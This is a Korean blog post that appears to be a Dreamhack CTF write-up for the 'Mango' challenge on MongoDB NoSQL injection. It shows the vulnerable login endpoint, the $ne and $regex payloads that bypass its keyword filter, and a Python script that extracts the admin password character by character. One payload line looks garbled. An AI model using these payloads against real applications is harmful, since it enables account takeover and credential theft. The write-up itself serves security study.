1.MongoDB 공격
1-1.쿼리 형식 변환의 기본 규칙
field가 필드 이름이고 [$operator] 부분이 MongoDB의 특수 연산자로 변환되고 value가 필드에 비교될 값이다.
field[operator]=value
uid=asa
->
{ "uid": "asa" }
uid[$ne]=a&upw[$ne]=b
->
{ "$ne": "a" }, "upw": { "$ne": "b" } }
2.Mango 문제
데이터베이스에 저장된 admin 계정의 비밀번호를 얻어야하는 문제다.
2-1.필터
우선 로그인엔드포인트의 쿼리로 다음과같은 BAN 단어들이 필터링 당하고있다.
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
2-2.로그인 엔드포인트
사용자가 존재하면 해당 uid를 응답하는 엔드포인트다
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
2-3. NoSQL 공격 통하는지 테스트
guest 라는 아이디랑 비번을 가지지않은 사용자를 한번 넣어보자
/login?uid[$ne]=guest&upw[$ne]=guest
다른 사용자 ID 가 출력된것을 보니 공격이 잘 적용되었다.
2-4. 정답
'ad' 또는 'in'을 포함하는 uid 필드와 'D'로 시작하고 어떤 문자가 0번 이상 반복된 문자열인 upw필드를 찾는 정규표현식이 포함된 엔드포인트를 구성한다.
/login?uid[$regex]=ad.in&upw[$regex]=D.{*
Blind SQL Injection 공격을 시도한다.
모든 문자랑 숫자가 포함된 반복문을 돌리며 만약 admin 이라고 답이 오면(그 글자가 맞다면)
그 다음 글자에 대해서도 일일이 찾아가며 최종적인 글자를 찾아낸다.
import requests, string
HOST = 'http://host1.dreamhack.games:22729'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
🎈참고자료
https://dreamhack.io/wargame/challenges/90/
'Computer Science > Security' 카테고리의 다른 글
[보안] Blind SQL Injection (0) | 2025.01.21 |
---|---|
[드림핵] SQL Injection (0) | 2025.01.20 |
[드림핵] Cross Site Request Forgery (CSRF) 1,2 (1) | 2025.01.20 |